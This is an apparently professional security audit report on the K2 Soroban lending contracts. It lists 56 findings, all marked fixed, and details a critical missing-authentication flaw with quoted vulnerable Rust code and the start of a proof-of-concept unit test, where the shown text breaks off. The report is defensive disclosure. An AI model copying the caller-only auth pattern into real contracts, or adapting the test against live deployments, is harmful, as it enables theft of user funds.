

K2 Borrow/Lend Protocol

K2

HALBORN

K2 Borrow/Lend Protocol - K2

Prepared by: **H** HALBORN

Last Updated 01/30/2026

Date of Engagement: December 4th, 2025 - January 22nd, 2026

Summary

100% ⓘ OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED



TABLE OF CONTENTS

- 1. Introduction
- 2. Assessment summary
- 3. Test approach and methodology
- 4. Risk methodology
- 5. Scope
- 6. Assessment summary & findings overview
- 7. Findings & Tech Details
 - 7.1 Systemic lack of authentication on privileged entry points enables protocol compromise

- 7.2 Critical logic relies on untrusted caller-supplied state and accounting data
- 7.3 Liquidation flow allows replay or execution with stale state
- 7.4 Incentive reward accrual contains snapshot and distribution window edge cases
- 7.5 Improper reserve id handling compromises risk controls
- 7.6 Missing authenticity checks in redstone adapter enable unauthorized price injection
- 7.7 Dynamic per-asset data in instance storage hits size caps and shared archival
- 7.8 Supply always enables collateral regardless of user preference
- 7.9 Reserve-level pauses are ignored in core lending operations
- 7.10 Reserve fragmentation combined with unoptimized health factor/flash-liquidation flow can exhaust soroban budgets
- 7.11 Atoken transfer_from requires holder auth, breaking allowance-based transfers
- 7.12 Unbounded persistent vectors in incentives inflate footprints and risk size failures
- 7.13 Pool configurator cross-contract calls revert due to abi mismatch
- 7.14 Soroswap router abi mismatch traps all calls
- 7.15 Borrow-limit inconsistencies allow over-borrowing
- 7.16 Missing ttl bumps across core contracts causes archived-state dos
- 7.17 Swallowed cross-contract errors misreport success and lose fees
- 7.18 Pool configurator admin rotation breaks upgrades
- 7.19 Precision loss in price-to-wad conversions due to division before multiplication
- 7.20 Missing recipient validation enables accidental fund loss in lending operations
- 7.21 Redstone adapter bidirectional mapping desync allows stale reverse keys
- 7.22 Soroswapswapadapter router-path swap is bricked by incorrect pre-authorization target
- 7.23 Soroswap direct swap fee formula diverges and misprices outputs
- 7.24 Misnamed debt-token views misstate borrow context
- 7.25 Ambiguous error codes obscure root causes in token flows
- 7.26 Unbounded interest rate parameters allow degenerate curves and mispricing
- 7.27 Pool configurator debt ceiling is unimplemented
- 7.28 Standalone liquidator path fails without cross-contract authorization, blocking liquidations
- 7.29 Oracle errors collapsed into “priceoraclenotfound” mask real failures
- 7.30 Overstated protocol reserves when total_borrow exceeds total_supply, potentially triggering harmful treasury sweeps
- 7.31 Missing oracle prices block liquidations and cause bad debt accumulation
- 7.32 Out-of-range reserve parameters are silently truncated, causing broken risk limits and potential dos
- 7.33 Inactive fallback oracle results in single-oracle reliance
- 7.34 Missing two-step admin acceptance makes transfers irreversible
- 7.35 Negative reflector twap values convert into huge positive prices

- 7.36 Manual override prices never expire and can leave the protocol permanently mispriced
- 7.37 Zero-buffer collateral config triggers hair-trigger liquidations
- 7.38 Unchecked arithmetic and health-factor saturation in selective account data path
- 7.39 Hardcoded 14-decimal precision may cause mispriced reflector feeds
- 7.40 Unbounded reserve factor can underflow liquidity rate calculation
- 7.41 Silent truncation of u256 to 128 bits in redstone adapter price conversion
- 7.42 Reflector future timestamps panic the oracle and brick all price queries
- 7.43 Repay function documentation misalignment causes failed operations and confusing errors
- 7.44 Liquidation helpers disagree on threshold comparison
- 7.45 Duplicate admin rotation paths cause divergent behavior
- 7.46 Uncaught token call failures in swap health-factor validation enable dos
- 7.47 Missing negative-supply guard in get_total_supply
- 7.48 Unchecked addition in utilization calculation can overflow and misprice rates
- 7.49 Missing i128 bounds checks throughout codebase can cause wrapped conversions and unexpected traps
- 7.50 Collateral value helper can panic on zero base price
- 7.51 Admin update event obscures previous owner
- 7.52 Redundant admin storage and double auth checks in interest rate strategy
- 7.53 Dead branch in utilization calculation obscures intent
- 7.54 Asset rate params event missing “updated” tag
- 7.55 Redstone adapter redundant storage access increases gas cost
- 7.56 Missing import in debt-token balance module prevents compilation

1. Introduction

This security assessment was commissioned by K2, a lending protocol on Flare Network. The review was conducted by Halborn's experienced security team, focusing on the on-chain components in the **k2-contracts** repository. The assessment covered core lending protocol contracts (aToken, debt-token, flash-liquidation-helper, incentives, interest-rate-strategy, kinetic-router, liquidator, pool-configurator, price-oracle, shared utilities, treasury) in the initial commit **82aa525**, followed by DEX and oracle integrations (aquarius-swap-adapter, soroswap-swap-adapter, redstone-adapter) and related contract modifications in later commits (**0e4dd04** and **0cff865**), from December 4th, 2025, to January 22nd, 2026. The primary objective of this engagement was to identify potential vulnerabilities, verify module reliability, and enhance overall security posture.

2. Assessment Summary

The team at Halborn assigned a full-time security engineer to verify the security of the smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contract

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were completely addressed by the **K2 team**. The main recommendations were the following:

- Enforce proper authentication checks on all privileged operations instead of trusting unverified caller addresses.
- Do not accept caller-provided “snapshots” or accounting amounts as protocol truth. Compute from authoritative on-chain state and/or enforce that the same call proves the underlying transfer/action occurred.
- Re-check liquidation constraints at execution time, bind callbacks/authorizations to the in-flight context (and enforce single-use), and clear temporary callback/authorization state after use.

3. Test Approach And Methodology

A layered review approach was followed using the artifacts supplied in the repository and accompanying documentation. The sequence of work was as follows:

- Scope validation and documentation review: the repository docs (protocol overview) and the specified commits were used to determine the contracts and flows in scope.
- Automated unit-test execution: the provided Rust unit tests were executed via `cargo test`, and existing snapshots were validated to confirm behavioral expectations against the test harness.
- Manual source review: targeted manual auditing was performed on critical modules to identify logic flaws, access-control omissions, unchecked arithmetic, storage layout issues, ABI mismatches, and TTL misuse.
- Cross-contract interaction analysis: cross-contract invocation patterns (use of `invoke_contract` vs `try_invoke_contract`, argument/return-type encodings, authorization trees) were inspected to identify trapping or swallowed-error conditions and incorrect authorization assumptions.
- On-chain and operational checks: deployment scripts and instance/persistent storage usage were reviewed with an emphasis on archival/TTL behavior, persistent-vector sizing, and upgrade/reinit protections.

Balance between manual and automated work was maintained: unit tests and snapshots provided automated functional coverage of many flows, while manual review focused on cross-contract invariants, auth models, and economic correctness that cannot be fully covered by unit tests. No external tooling logs were provided in the supplied data; confidence in coverage was supported by the breadth of manual findings and the presence of complete unit tests and snapshots in the repository.

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (C:N) Low (C:L) Medium (C:M) High (C:H) Critical (C:C)	0 0.25 0.5 0.75 1
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1

Impact Metric (M_I)	Metric Value	Numerical Value
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium (Y:M)	0.5
	High (Y:H)	0.75
	Critical (Y:C)	1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

Severity Coefficient (C)	Coefficient Value	Numerical Value
Reversibility (r)	None (R:N)	1
	Partial (R:P)	0.5
	Full (R:F)	0.25

SEVERITY COEFFICIENT (<i>C</i>)	COEFFICIENT VALUE	NUMERICAL VALUE
Scope (<i>s</i>)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient *C* is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score *S* is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9

SEVERITY	SCORE VALUE RANGE
Low	2 - 4.4
Informational	0 - 1.9

5. SCOPE

REPOSITORY

(a) Repository: [k2-contracts](#)

(b) Assessed Commit ID: 82aa525

(c) Items in scope:

- `contracts/a-token/src/balance.rs`
- `contracts/a-token/src/contract.rs`
- `contracts/a-token/src/error.rs`
- `contracts/a-token/src/lib.rs`
- `contracts/a-token/src/storage.rs`
- `contracts/a-token/src/upgrade.rs`
- `contracts/debt-token/src/balance.rs`
- `contracts/debt-token/src/contract.rs`
- `contracts/debt-token/src/error.rs`
- `contracts/debt-token/src/lib.rs`
- `contracts/debt-token/src/storage.rs`
- `contracts/debt-token/src/upgrade.rs`
- `contracts/flash-liquidation-helper/src/error.rs`
- `contracts/flash-liquidation-helper/src/lib.rs`
- `contracts/flash-liquidation-helper/src/validation.rs`
- `contracts/incentives/src/calculation.rs`
- `contracts/incentives/src/contract.rs`
- `contracts/incentives/src/error.rs`
- `contracts/incentives/src/events.rs`
- `contracts/incentives/src/lib.rs`
- `contracts/incentives/src/storage.rs`
- `contracts/interest-rate-strategy/src/contract.rs`
- `contracts/interest-rate-strategy/src/error.rs`

- `contracts/interest-rate-strategy/src/events.rs`
- `contracts/interest-rate-strategy/src/lib.rs`
- `contracts/interest-rate-strategy/src/storage.rs`
- `contracts/interest-rate-strategy/src/upgrade.rs`
- `contracts/interest-rate-strategy/src/validation.rs`
- `contracts/kinetic-router/src/access_control.rs`
- `contracts/kinetic-router/src/admin.rs`
- `contracts/kinetic-router/src/calculation.rs`
- `contracts/kinetic-router/src/emergency.rs`
- `contracts/kinetic-router/src/error.rs`
- `contracts/kinetic-router/src/events.rs`
- `contracts/kinetic-router/src/flash_loan.rs`
- `contracts/kinetic-router/src/lib.rs`
- `contracts/kinetic-router/src/liquidation.rs`
- `contracts/kinetic-router/src/operations.rs`
- `contracts/kinetic-router/src/params.rs`
- `contracts/kinetic-router/src/price.rs`
- `contracts/kinetic-router/src/reserve.rs`
- `contracts/kinetic-router/src/router.rs`
- `contracts/kinetic-router/src/storage.rs`
- `contracts/kinetic-router/src/swap.rs`
- `contracts/kinetic-router/src/treasury.rs`
- `contracts/kinetic-router/src/upgrade.rs`
- `contracts/kinetic-router/src/validation.rs`
- `contracts/kinetic-router/src/views.rs`
- `contracts/liquidator/src/contract.rs`
- `contracts/liquidator/src/error.rs`
- `contracts/liquidator/src/lib.rs`
- `contracts/liquidator/src/liquidation.rs`
- `contracts/liquidator/src/storage.rs`
- `contracts/pool-configurator/src/contract.rs`
- `contracts/pool-configurator/src/error.rs`
- `contracts/pool-configurator/src/events.rs`
- `contracts/pool-configurator/src/lib.rs`

- contracts/pool-configurator/src/oracle.rs
- contracts/pool-configurator/src/reserve.rs
- contracts/pool-configurator/src/storage.rs
- contracts/pool-configurator/src/upgrade.rs
- contracts/price-oracle/src/contract.rs
- contracts/price-oracle/src/error.rs
- contracts/price-oracle/src/events.rs
- contracts/price-oracle/src/lib.rs
- contracts/price-oracle/src/oracle.rs
- contracts/price-oracle/src/storage.rs
- contracts/price-oracle/src/upgrade.rs
- contracts/shared/src/constants.rs
- contracts/shared/src/dex.rs
- contracts/shared/src/errors.rs
- contracts/shared/src/events.rs
- contracts/shared/src/lib.rs
- contracts/shared/src/types.rs
- contracts/shared/src/upgradeable.rs
- contracts/shared/src/utils.rs
- contracts/treasury/src/contract.rs
- contracts/treasury/src/error.rs
- contracts/treasury/src/events.rs
- contracts/treasury/src/lib.rs
- contracts/treasury/src/storage.rs
- contracts/aquarius-swap-adapter/src/lib.rs
- contracts/soroswap-swap-adapter/src/lib.rs
- contracts/redstone-adapter/src/conversion.rs
- contracts/redstone-adapter/src/error.rs
- contracts/redstone-adapter/src/lib.rs
- contracts/redstone-adapter/src/storage.rs

Out-of-Scope: contracts/kinetic-router-admin/*, third party dependencies and economic attacks, code outside of the Aquarius DEX and Redstone oracle integrations, which were introduced to the scope at a later stage (0e4dd04 and 0cff865).

- [eb17008](#)
- [422f9b3](#)
- [1e06228](#)
- [68eba61](#)
- [64e0982](#)
- [486f8cc](#)
- [aec34ac](#)
- [28549a6](#)
- [9e4a6af](#)
- [a7fff38](#)
- [ae50ae2](#)
- [2d8e6f4](#)
- [6d00651](#)
- [0b3586e](#)
- [cc448e2](#)
- [2803227](#)
- [418da34](#)
- [4d2bf02](#)
- [3627a14](#)
- [7bb3d34](#)
- [148b896](#)
- [84ae83b](#)
- [4db03b4](#)
- [34b010b](#)
- [8db7dfe](#)
- [c0b0dc3](#)
- [e144701](#)
- [5423b94](#)
- [d57655a](#)

- [c44e802](#)
- [d0472e1](#)
- [c02e0c8](#)
- [c2ec7c2](#)
- [f3c398b](#)
- [72cb001](#)
- [c1c3a38](#)
- [370f512](#)
- [6b2cfaf](#)
- [b68064d](#)
- [ae124e5](#)
- [7cd66fa](#)
- [16ab837](#)
- [c00739c](#)
- [b19891a](#)
- [c71205f](#)
- [fa80193](#)
- [0c9aeb7](#)
- [cc116d6](#)
- [2412acb](#)
- [785f0dc](#)
- [824d47b](#)
- [4249066](#)
- [0e6c58a](#)
- [d7972e0](#)

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL**3****HIGH****2****MEDIUM****11****LOW****19****INFORMATIONAL****21**

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
SYSTEMIC LACK OF AUTHENTICATION ON PRIVILEGED ENTRY POINTS ENABLES PROTOCOL COMPROMISE	CRITICAL	SOLVED - 01/26/2026
CRITICAL LOGIC RELIES ON UNTRUSTED CALLER-SUPPLIED STATE AND ACCOUNTING DATA	CRITICAL	SOLVED - 01/12/2026
LIQUIDATION FLOW ALLOWS REPLAY OR EXECUTION WITH STALE STATE	CRITICAL	SOLVED - 01/22/2026
INCENTIVE REWARD ACCRUAL CONTAINS SNAPSHOT AND DISTRIBUTION WINDOW EDGE CASES	HIGH	SOLVED - 01/13/2026
IMPROPER RESERVE ID HANDLING COMPROMISES RISK CONTROLS	HIGH	SOLVED - 01/12/2026
MISSING AUTHENTICITY CHECKS IN REDSTONE ADAPTER ENABLE UNAUTHORIZED PRICE INJECTION	MEDIUM	SOLVED - 01/26/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
DYNAMIC PER-ASSET DATA IN INSTANCE STORAGE HITS SIZE CAPS AND SHARED ARCHIVAL	MEDIUM	SOLVED - 01/26/2026
SUPPLY ALWAYS ENABLES COLLATERAL REGARDLESS OF USER PREFERENCE	MEDIUM	SOLVED - 01/14/2026
RESERVE-LEVEL PAUSES ARE IGNORED IN CORE LENDING OPERATIONS	MEDIUM	SOLVED - 01/04/2026
RESERVE FRAGMENTATION COMBINED WITH UNOPTIMIZED HEALTH FACTOR/FLASH-LIQUIDATION FLOW CAN EXHAUST SOROBAN BUDGETS	MEDIUM	SOLVED - 01/12/2026
ATOKEN TRANSFER_FROM REQUIRES HOLDER AUTH, BREAKING ALLOWANCE-BASED TRANSFERS	MEDIUM	SOLVED - 12/16/2025
UNBOUNDED PERSISTENT VECTORS IN INCENTIVES INFLATE FOOTPRINTS AND RISK SIZE FAILURES	MEDIUM	SOLVED - 12/22/2025
POOL CONFIGURATOR CROSS-CONTRACT CALLS REVERT DUE TO ABI MISMATCH	MEDIUM	SOLVED - 12/22/2025

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
SOROSWAP ROUTER ABI MISMATCH TRAPS ALL CALLS	MEDIUM	SOLVED - 01/13/2026
BORROW-LIMIT INCONSISTENCIES ALLOW OVER-BORROWING	MEDIUM	SOLVED - 01/12/2026
MISSING TTL BUMPS ACROSS CORE CONTRACTS CAUSES ARCHIVED-STATE DOS	MEDIUM	SOLVED - 01/27/2026
SWALLOWED CROSS-CONTRACT ERRORS MISREPORT SUCCESS AND LOSE FEES	LOW	SOLVED - 01/15/2026
POOL CONFIGURATOR ADMIN ROTATION BREAKS UPGRADES	LOW	SOLVED - 12/22/2025
PRECISION LOSS IN PRICE-TO-WAD CONVERSIONS DUE TO DIVISION BEFORE MULTIPLICATION	LOW	SOLVED - 01/12/2026
MISSING RECIPIENT VALIDATION ENABLES ACCIDENTAL FUND LOSS IN LENDING OPERATIONS	LOW	SOLVED - 01/21/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
REDSTONE ADAPTER BIDIRECTIONAL MAPPING DESYNC ALLOWS STALE REVERSE KEYS	LOW	SOLVED - 01/24/2026
SOROSWAPSWAPADAPTER ROUTER-PATH SWAP IS BRICKED BY INCORRECT PRE-AUTHORIZATION TARGET	LOW	SOLVED - 01/24/2026
SOROSWAP DIRECT SWAP FEE FORMULA DIVERGES AND MISPRICES OUTPUTS	LOW	SOLVED - 01/04/2026
MISNAMED DEBT-TOKEN VIEWS MISSTATE BORROW CONTEXT	LOW	SOLVED - 12/22/2025
AMBIGUOUS ERROR CODES OBSCURE ROOT CAUSES IN TOKEN FLOWS	LOW	SOLVED - 12/22/2025
UNBOUNDED INTEREST RATE PARAMETERS ALLOW DEGENERATE CURVES AND MISPRICING	LOW	SOLVED - 12/22/2025
POOL CONFIGURATOR DEBT CEILING IS UNIMPLEMENTED	LOW	SOLVED - 12/22/2025

SECURITY ANALYSIS	RISK LEVEL	REMEDiation DATE
STANDALONE LIQUIDATOR PATH FAILS WITHOUT CROSS-CONTRACT AUTHORIZATION, BLOCKING LIQUIDATIONS	LOW	SOLVED - 01/04/2026
ORACLE ERRORS COLLAPSED INTO “PRICEORACLENOTFOUND” MASK REAL FAILURES	LOW	SOLVED - 01/04/2026
OVERSTATED PROTOCOL RESERVES WHEN TOTAL_BORROW EXCEEDS TOTAL_SUPPLY, POTENTIALLY TRIGGERING HARMFUL TREASURY SWEEPS	LOW	SOLVED - 01/14/2026
MISSING ORACLE PRICES BLOCK LIQUIDATIONS AND CAUSE BAD DEBT ACCUMULATION	LOW	SOLVED - 01/12/2026
OUT-OF-RANGE RESERVE PARAMETERS ARE SILENTLY TRUNCATED, CAUSING BROKEN RISK LIMITS AND POTENTIAL DOS	LOW	SOLVED - 12/22/2025
INACTIVE FALLBACK ORACLE RESULTS IN SINGLE-ORACLE RELIANCE	LOW	SOLVED - 12/16/2025
MISSING TWO-STEP ADMIN ACCEPTANCE MAKES TRANSFERS IRREVERSIBLE	LOW	SOLVED - 01/24/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
NEGATIVE REFLECTOR TWAP VALUES CONVERT INTO HUGE POSITIVE PRICES	LOW	SOLVED - 12/22/2025
MANUAL OVERRIDE PRICES NEVER EXPIRE AND CAN LEAVE THE PROTOCOL PERMANENTLY MISPRICED	INFORMATIONAL	SOLVED - 01/24/2026
ZERO-BUFFER COLLATERAL CONFIG TRIGGERS HAIR-TRIGGER LIQUIDATIONS	INFORMATIONAL	SOLVED - 12/22/2025
UNCHECKED ARITHMETIC AND HEALTH-FACTOR SATURATION IN SELECTIVE ACCOUNT DATA PATH	INFORMATIONAL	SOLVED - 01/12/2026
HARDCODED 14-DECIMAL PRECISION MAY CAUSE MISPRICED REFLECTOR FEEDS	INFORMATIONAL	SOLVED - 01/27/2026
UNBOUNDED RESERVE FACTOR CAN UNDERFLOW LIQUIDITY RATE CALCULATION	INFORMATIONAL	SOLVED - 12/22/2025
SILENT TRUNCATION OF U256 TO 128 BITS IN REDSTONE ADAPTER PRICE CONVERSION	INFORMATIONAL	SOLVED - 01/24/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
REFLECTOR FUTURE TIMESTAMPS PANIC THE ORACLE AND BRICK ALL PRICE QUERIES	INFORMATIONAL	SOLVED - 12/22/2025
REPAY FUNCTION DOCUMENTATION MISALIGNMENT CAUSES FAILED OPERATIONS AND CONFUSING ERRORS	INFORMATIONAL	SOLVED - 01/14/2026
LIQUIDATION HELPERS DISAGREE ON THRESHOLD COMPARISON	INFORMATIONAL	SOLVED - 12/22/2025
DUPLICATE ADMIN ROTATION PATHS CAUSE DIVERGENT BEHAVIOR	INFORMATIONAL	SOLVED - 12/22/2025
UNCAUGHT TOKEN CALL FAILURES IN SWAP HEALTH-FACTOR VALIDATION ENABLE DOS	INFORMATIONAL	SOLVED - 01/12/2026
MISSING NEGATIVE-SUPPLY GUARD IN GET_TOTAL_SUPPLY	INFORMATIONAL	SOLVED - 01/12/2026
UNCHECKED ADDITION IN UTILIZATION CALCULATION CAN OVERFLOW AND MISPRICE RATES	INFORMATIONAL	SOLVED - 01/13/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
MISSING I128 BOUNDS CHECKS THROUGHOUT CODEBASE CAN CAUSE WRAPPED CONVERSIONS AND UNEXPECTED TRAPS	INFORMATIONAL	SOLVED - 01/14/2026
COLLATERAL VALUE HELPER CAN PANIC ON ZERO BASE PRICE	INFORMATIONAL	SOLVED - 12/22/2025
ADMIN UPDATE EVENT OBSCURES PREVIOUS OWNER	INFORMATIONAL	SOLVED - 01/12/2026
REDUNDANT ADMIN STORAGE AND DOUBLE AUTH CHECKS IN INTEREST RATE STRATEGY	INFORMATIONAL	SOLVED - 12/22/2025
DEAD BRANCH IN UTILIZATION CALCULATION OBSCURES INTENT	INFORMATIONAL	SOLVED - 12/22/2025
ASSET RATE PARAMS EVENT MISSING “UPDATED” TAG	INFORMATIONAL	SOLVED - 12/22/2025
REDSTONE ADAPTER REDUNDANT STORAGE ACCESS INCREASES GAS COST	INFORMATIONAL	SOLVED - 01/24/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
MISSING IMPORT IN DEBT-TOKEN BALANCE MODULE PREVENTS COMPILATION	INFORMATIONAL	SOLVED - 01/12/2026

7. FINDINGS & TECH DETAILS

7.1 SYSTEMIC LACK OF AUTHENTICATION ON PRIVILEGED ENTRY POINTS ENABLES PROTOCOL COMPROMISE

// CRITICAL

Description

Multiple entry points trust an unauthenticated `caller` parameter instead of binding to the transaction signer, enabling arbitrary users to seize privileged powers:

- Pool tokens: aToken and debt-token pool-only functions (`mint_scaled`, `burn_scaled`, transfers) just compare `caller` to the stored pool address and never call `require_auth`, letting anyone spoof the pool to mint/burn or drain underlying reserves.
- Price oracle: admin entry points accept `caller: Address`, check it against the stored admin, but never `require_auth`, so anyone can spoof the admin to change whitelists/config, pause/unpause, or rotate admin.
- Interest rate strategy: admin functions (`update_interest_rate_params`, `set_admin`, `set_asset_interest_rate_params`) only check `caller` against stored admin without `require_auth`, allowing anyone to rewrite global and asset-specific rate curves or seize admin.
- Kinetic router reserve configurator: reserve setup and reconfiguration entrypoints (`init_reserve`, cap updates, rate strategy updates, token upgrades, and reserve removal) validate the provided `caller` address but never require signer auth, so any address can impersonate the configurator/admin to create, upgrade, or drop reserves.
- Pool configurator reserve/oracle entrypoints: all admin-gated reserve controls (collateral params, caps, rate strategies, freezes/pauses, upgrades, drop) and oracle admin paths (add/remove asset, enable/disable, manual override) only compare a `caller` parameter to stored admin and skip `require_auth`, so anyone can spoof admin and mutate reserves and oracle listings.
- Kinetic router user configuration: `set_user_use_reserve_as_coll` accepts a `caller` parameter and mutates that user's collateral configuration without requiring signer authentication, allowing anyone to arbitrarily disable collateral for any user and force liquidations.
- `set_incentives_contract` is intended to reference the trusted incentives module responsible for accruing rewards after each mint or burn. The setter lacks access control, in both a-token and debt-token contracts, allowing the reference to be changed to an arbitrary contract by any caller. Core lending functionality is preserved because the incentives call is wrapped in `try_invoke`, but reward integrity is immediately compromised: accruals can be misattributed, causing users to receive reduced rewards or none at all. If the emission manager later funds rewards, the hijacked incentives contract can also divert those funded tokens during `claim_rewards`. Users' yield can be silently redirected or lost while lending operations continue to function.

Because these paths govern mint/burn of reserves and oracle control, exploitation enables full theft, accounting corruption, and manipulation of downstream lending/liquidation decisions. This not only allows direct theft/manipulation, but also enables critical secondary exploits such as abusing flash loan logic to mint unbacked aTokens and drain protocol funds.

Code Location

AToken `mint_scaled` (caller parameter, no auth):

[Copy Code](#)

```
229 pub fn mint_scaled(  
230     env: Env,  
231     caller: Address,  
232     on_behalf_of: Address,  
233     amount: u128,  
234     index: u128,  
235 ) -> Result<bool, TokenError> {  
236     let state = storage::get_state(&env);  
237     if caller != state.pool_address {  
238         return Err(TokenError::TransferFailed);  
239     }  
240  
241     if amount == 0 {  
242         return Err(TokenError::TransferFailed);  
243     }  
244  
245     let amount_scaled = ray_div(&env, amount, index) as i128;  
246     let current_scaled_balance = storage::get_scaled_balance(&env, &on_behalf_of);
```

Debt-token `mint_scaled` (caller parameter, no auth):

[Copy Code](#)

```
141 pub fn mint_scaled(  
142     env: Env,  
143     caller: Address,  
144     on_behalf_of: Address,  
145     amount: u128,  
146     index: u128,  
147 ) -> Result<bool, TokenError> {  
148     let state = storage::get_state(&env);  
149     if caller != state.pool_address {  
150         return Err(TokenError::TransferFailed);  
151     }  
152  
153     if amount == 0 {  
154         return Err(TokenError::TransferFailed);  
155     }
```

Price-oracle `set_admin` (admin check without auth):

 Copy Code

```
477 pub fn set_admin(env: Env, caller: Address, new_admin: Address) -> Result<(), OracleError> {
478     admin::require_admin(&env, &caller).map_err(|_| OracleError::Unauthorized)?;
479     admin::set_admin(&env, &new_admin);
480
481     // Emit event to enable off-chain monitoring of critical access control changes
482     let current_admin = admin::get_admin(&env);
483     env.events().publish(
484         (symbol_short!("admin"), symbol_short!("updated")),
485         (current_admin, new_admin.clone()),
486     );
```

Code of the `admin::require_admin` function:

 Copy Code

```
35 pub fn require_admin(env: &Env, caller: &Address) -> Result<(), UpgradeError> {
36     let admin = get_admin(env);
37     if caller != &admin {
38         return Err(UpgradeError::Unauthorized);
39     }
40     Ok(())
41 }
```

aToken incentives setter (no auth):

 Copy Code

```
220 pub fn set_incentives_contract(env: Env, incentives: Address) -> Result<(), TokenError> {
221     storage::set_incentives_contract(&env, &incentives);
222     Ok(())
223 }
```

Code of the `storage::set_incentives_contract` function:

 Copy Code

```
71 pub fn set_incentives_contract(env: &Env, incentives: &Address) {
72     env.storage().instance().set(&DataKey::IncentivesContract, incentives);
73 }
```

Debt-token incentives setter (no auth):

```
133 | pub fn set_incentives_contract(env: Env, incentives: Address) -> Result<(), TokenError> {  
134 |     storage::set_incentives_contract(&env, &incentives);  
135 |     Ok(())  
136 | }
```

Code of the `storage::set_incentives_contract` function:

```
53 | pub fn set_incentives_contract(env: &Env, incentives: &Address) {  
54 |     env.storage().instance().set(&DataKey::IncentivesContract, incentives);  
55 | }
```

Proof of Concept

The PoC code has been added into the existing suite located within the `tests/unit-tests/src/price_oracle_test.rs` file:

```
/// Proof-of-concept for missing authentication in admin-only price oracle entrypoints.  
///  
/// This test demonstrates that an admin-only function (`add_asset`) can be called  
/// successfully even when no address is authorized in the environment.  
///  
/// The root cause is that the contract:  
/// - Takes a `caller: Address` parameter  
/// - Only checks that `caller` equals the stored admin via `require_admin`  
/// - Never calls `caller.require_auth()` or otherwise binds `caller` to the  
///   actual transaction signer.  
///  
/// In this test we:  
/// 1. Initialize the oracle with proper admin auth (using `mock_all_auths` from  
///   `create_test_env`).  
/// 2. Then switch to `env.mock_auths(&[])` so that no further auth is allowed.  
/// 3. Call `add_asset` passing the stored admin address as the `caller` argument.  
/// 4. Observe that the call still succeeds and the asset is whitelisted, proving  
///   that the function does not require any real admin authorization.  
#[test]  
fn test_add_asset_succeeds_without_admin_auth_poc() {  
    let env = create_test_env();  
    let (admin, attacker, _user2) = create_test_addresses(&env);  
  
    // Step 1: initialize oracle while all auths are mocked as valid.  
    let oracle = initialize_oracle(&env, &admin);  
    let client = PriceOracleContractClient::new(&env, &oracle);  
  
